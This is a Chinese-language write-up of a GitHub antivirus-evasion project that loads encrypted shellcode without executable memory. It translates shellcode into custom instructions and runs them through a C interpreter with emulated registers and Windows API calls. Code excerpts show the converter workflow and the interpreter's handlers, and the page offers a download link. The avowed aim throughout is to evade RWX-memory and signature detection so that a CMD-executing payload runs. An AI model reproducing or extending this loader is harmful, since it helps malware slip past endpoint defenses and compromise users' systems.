介绍

这是一个免杀项目，与PWN无关！

无需解密，无需X内存，直接加载运行R内存中的ShellCode密文。

x64项目: 

https://github.com/HackerCalico/No_X_Memory_ShellCode_Loader

规避了以下特征：

(1) 申请 RWX 属性的内存

(2) 来回修改 W 和 X 的内存属性

(3) 内存中出现 ShellCode 特征码

技术原理

加载流程：

(1) 正常生成 ShellCode 机器码

(2) ShellCode --- 转换器 ---> 自定义汇编指令

(3) 解释器 运行 自定义汇编指令

项目介绍

ShellCode：多种 ShellCode 源码

Converter：自定义汇编指令转换器

pip install capstone

Loader：ShellCode 加载器 (自定义汇编指令解释器)

GenerateAsmInstruction：用于生成 Loader\AsmInstruction.asm 函数汇编指令

转换器使用与实现

为了减轻解释器的压力，我们的自定义汇编指令一定要设计成容易解释的格式。

下面对本项目提供的 CMD 命令执行 ShellCode 案例进行讲解：

(1) 生成原始汇编指令

将 ShellCode 机器码 (ShellCode.txt) 转为原始汇编指令 (asm.txt)

该功能简单利用 capstone 库实现

> python Converter.py1.反汇编2.Imul转换3.生成自定义汇编指令选择: 1ShellCode使用的汇编指令: {'lea', 'cdqe', ......, 'repStosb'}汇编指令生成完毕: asm.txt

asm.txt：

0x0_mov_qword ptr [rsp + 0x20], r90x5_mov_qword ptr [rsp + 0x18], r80xa_mov_dword ptr [rsp + 0x10], edx......

(2) 修改 asm.txt

考虑到原始汇编指令可能存在一些特殊情况，需要进行修改。所以我将转换过程分为了先转为原始汇编指令，再转为自定义汇编指令两个阶段。

观察原始汇编指令，可以发现存在 imul 指令，并且全部为 imul a, a, b 的格式。我们直接把它们全部转为 imul a, b 的格式方便处理。

> python Converter.py1.反汇编2.Imul转换3.生成自定义汇编指令选择: 2已将 asm.txt 中的 imul a, a, b 全部转换为 imul a, b

(3) 生成自定义汇编指令

将 asm.txt 中的原始汇编指令转为自定义汇编指令。

> python Converter.py1.反汇编2.Imul转换3.生成自定义汇编指令选择: 30_4_q_pq70+i20_q_q38_......2ed_3_q__q__!
PVOID mnemonicMap[] = { Push, Pop, ......, Jle };

0_4_q_pq70+i20_q_q38 为第一条自定义汇编指令，! 为整个自定义汇编指令的结束标志。

第一条的原始汇编指令：0x00 mov qword ptr [rsp + 0x20], r9

指令地址：0x00 ------> 0

在处理 Jcc 跳转指令时需要使用，去掉 0x 减短长度。

助记符：mov ------> 4

4 为 mov 在 mnemonicMap 中的下标。

解释器逐条指令执行，通过下标获取 mnemonicMap 中当前指令的处理函数指针，进行反射调用。避免了解释器代码中出现大量 if else 或 switch case。

操作数1：qword ptr [rsp + 0x20] ------> q_pq70+i20

q 表示 QWORD，p 表示 ptr。

q70 表示 vtRSP。在解释器中通过 vtRegs 数组存储虚拟寄存器的值，70 是 vtRSP 相对 vtRegs 基址的偏移，直接通过地址操作寄存器的值。避免了解释器代码中出现大量不同位数的寄存器的定义，以及繁琐操作。

i20 表示立即数 0x20。

操作数2：r9 ------> q_q38

q 表示 QWORD。

q38 表示 R9，同理偏移。

解释器实现

(1) 创建虚拟栈和虚拟寄存器

PVOID vtStack = malloc(0x10000);
DWORD_PTR vtRegs[18] = { 0 };vtRegs[14] = vtRegs[15] = (DWORD_PTR)vtStack + 0x9000;

14 和 15 分别对应 vtRSP 和 vtRBP。

(2) 设置虚拟寄存器的初值

因为解释器是从 ShellCode 函数的开头进行模拟的，所以在模拟开始之前，要先在虚拟空间中构建出 ShellCode 函数的参数。

本项目提供的 CMD 命令执行 ShellCode 函数通过以下代码调用：

ExecuteCmd(commandPara, commandParaLength, &outputData, &outputDataLength, funcAddr);

该行代码对应的汇编指令：

lea rax, [funcAddr]mov qword ptr [rsp+20h], raxlea r9, [outputDataLength]lea r8, [outputData]mov edx, dword ptr [commandParaLength]lea rcx, [commandPara]call ExecuteCmd

所以要通过以下代码在虚拟空间中构建出函数参数：

vtRegs[0] = (DWORD_PTR)pFuncAddr;*(PDWORD_PTR)(vtRegs[14] + 0x20) = vtRegs[0];vtRegs[7] = (DWORD_PTR)pOutputDataLength;vtRegs[6] = (DWORD_PTR)pOutputData;vtRegs[3] = commandParaLength;vtRegs[2] = (DWORD_PTR)commandPara;vtRegs[14] = vtRegs[14] - sizeof(DWORD_PTR);

(3) 解析自定义汇编指令

根据 指令地址_助记符_位数1_操作数1_位数2_操作数2 的格式将每条指令的元素解析出来。

通过 GetOpTypeAndAddr 函数获取每个操作数的类型和地址，每种指令的处理函数会直接通过操作数的地址对其值进行操作，非常方便。

如果操作数是立即数，例如 i12 (0x12)。则直接通过 strtol 函数将 12 字符串转为数字，该数字的地址即为该操作数的地址。

如果操作数是 lea 的第二个操作数或内存空间，例如 lq70+i20 ([rsp + 0x20]) 或 pq70+i20 (ptr [rsp + 0x20])。则先解析其子元素进行计算，计算结果保存到 number1。如果操作数是 lea 的第二个操作数，则 number1 的地址即为该操作数的地址。如果操作数是内存空间，则 number1 的值即为该操作数的地址。

如果操作数是寄存器，例如 q70 (rsp)。70 是 vtRSP 相对 vtRegs 基址的偏移，则 vtRegs 基址 + 70 即为该操作数的地址。

// 获取操作数值的 类型(r寄存器/m内存空间) + 地址DWORD_PTR GetOpTypeAndAddr(char* op, char* pOpType1, PDWORD_PTR pVtRegs, PDWORD_PTR opNumber) {    ......    // 立即数    if (op[0] == 'i') {        *opNumber = strtol(op + 1, &endPtr, 16);        return (DWORD_PTR)opNumber;    }    // lea [] / ptr []    else if (op[0] == 'l' || op[0] == 'p') {        ......        // 解析算式 (未考虑“*”)        ParseFormula(op + 1, formula, symbols);        // 计算 (未考虑“*”)        DWORD_PTR number1 = 0;        ......        // lea []        if (op[0] == 'l') {            *opNumber = number1;            return (DWORD_PTR)opNumber;        }        // ptr []        if (pOpType1 != NULL) {            *pOpType1 = 'm';        }        return number1;    }    // 寄存器    else {        if (pOpType1 != NULL) {            *pOpType1 = 'r';        }        return (DWORD_PTR)pVtRegs + strtol(op + 1, &endPtr, 16);    }}

(4) 调用对应指令的处理函数

通过解析得到的当前指令的下标获取当前指令的处理函数指针

PVOID mnemonicMap[] = { Push, Pop, ......, AsmJle };PVOID instructionFunc = mnemonicMap[mnemonicIndex];

下面举几种指令的处理函数的例子：

Mov 指令

// 其他两个操作数的指令else {    ((void(*)(...))instructionFunc)(opType1, opBit1, opAddr1, opBit2, opAddr2);}
void Mov(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) {    switch (opBit1)    {    case 'q':        *(PDWORD64)opAddr1 = *(PDWORD64)opAddr2;        break;    case 'd':        if (opType1 == 'r') {            *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr2;        }        else {            *(PDWORD)opAddr1 = *(PDWORD)opAddr2;        }        break;    case 'w':        *(PWORD)opAddr1 = *(PWORD)opAddr2;        break;    case 'b':        *(PBYTE)opAddr1 = *(PBYTE)opAddr2;        break;    }}

case 'd' 表示 操作数1 为 DWORD，在 操作数1 类型为 DWORD 寄存器时存在特殊情况。

特殊情况通过下例来解释：

mov rax, 0x1234567812345678mov eax, 0x11111111

运行后 rax 为 0x0000000011111111。

Cmp 指令

else if (instructionFunc == AsmCmp || instructionFunc == AsmTest) {     ((void(*)(...))instructionFunc)(opBit1, opAddr1, opAddr2, pVtRegs);}

将两个操作数的值赋值到 r10 和 r11，计算完成后将标志寄存器的值赋值到 vtEFL

void AsmCmp(char opBit1, DWORD_PTR opAddr1, DWORD_PTR opAddr2, PDWORD_PTR pVtRegs) {    __asm {        mov r8, qword ptr[opAddr1]        mov r9, qword ptr[opAddr2]        mov r10, qword ptr[r8]        mov r11, qword ptr[r9]    }    DWORD_PTR vtEFL;    switch (opBit1)    {    case 'q':        __asm {            cmp r10, r11            pushf            pop rax            mov vtEFL, rax        }        break;    ......    }    pVtRegs[17] = vtEFL;}

Jcc 指令

传入具体的 Jcc 指令的处理函数指针

Jcc(instructionFunc, opAddr1, pVtRegs);

通过具体的 Jcc 指令的处理函数判断是否跳转。如果跳转，则将 操作数1 的值赋值给 vtRIP

void Jcc(PVOID instructionFunc, DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) {    DWORD_PTR vtEFL = pVtRegs[17];    int isJmp = ((int(*)(...))instructionFunc)(vtEFL);    if (isJmp) {        DWORD_PTR vtRIP = *(PDWORD_PTR)opAddr1;        pVtRegs[16] = vtRIP;    }}

Je 指令

作为具体的 Jcc 指令的处理函数，先将 vtEFL 的值赋值到标志寄存器，再判断是否跳转

int AsmJe(DWORD_PTR vtEFL) {    int isJmp = 1;    __asm {        mov rax, vtEFL        push rax        popf        je jmp        mov isJmp, 0x00        jmp :    }    return isJmp;}

Call 指令

其实现是所有指令中最复杂的，因为涉及到 Windows API 的调用。

首先保存真实栈顶栈底，最后还原真实栈顶栈底，保证解释器能正常运行。

调用 Windows API 之前，要先将虚拟寄存器的值覆盖真实寄存器的值，相当于构造好 Windows API 的参数。

调用完 Windows API 之后，要将真实寄存器的值覆盖虚拟寄存器的值。

void AsmCall(DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) {    // 保存真实栈顶栈底    DWORD_PTR realRSP;    DWORD_PTR realRBP;    __asm {        mov realRSP, rsp        mov realRBP, rbp    }
    // Window API 地址    DWORD_PTR winApiAddr = *(PDWORD_PTR)opAddr1;
    // 虚拟寄存器 覆盖 真实寄存器    DWORD_PTR vtRAX = pVtRegs[0];    ......    DWORD_PTR vtRBP = pVtRegs[15];    __asm {        mov rax, vtRAX        ......        mov rsp, vtRSP        // mov rbp, vtRBP (与 Call 冲突)    }
    // 调用 Windows API    __asm {        call qword ptr[winApiAddr] // (call qword ptr [rbp])    }
    // 保存调用 Windows API 后真实寄存器的值    __asm {        push rax        ......        push rbp    }
    // 真实寄存器 覆盖 虚拟寄存器    DWORD_PTR currentRSP;    __asm {        mov currentRSP, rsp;    }    pVtRegs[0] = *(PDWORD_PTR)(currentRSP + 0x78); // RAX    ......    pVtRegs[14] = *(PDWORD_PTR)(currentRSP + 0x08) + 0x70; // RSP    pVtRegs[15] = *(PDWORD_PTR)(currentRSP + 0x00); // RBP
    // 还原真实栈顶栈底    __asm {        mov rsp, realRSP        mov rbp, realRBP    }}

项目地址

Github：https://github.com/HackerCalico/No_X_Memory_ShellCode_Loader

直链下载地址

https://lp.lmboke.com/No_X_BOF-main.zip

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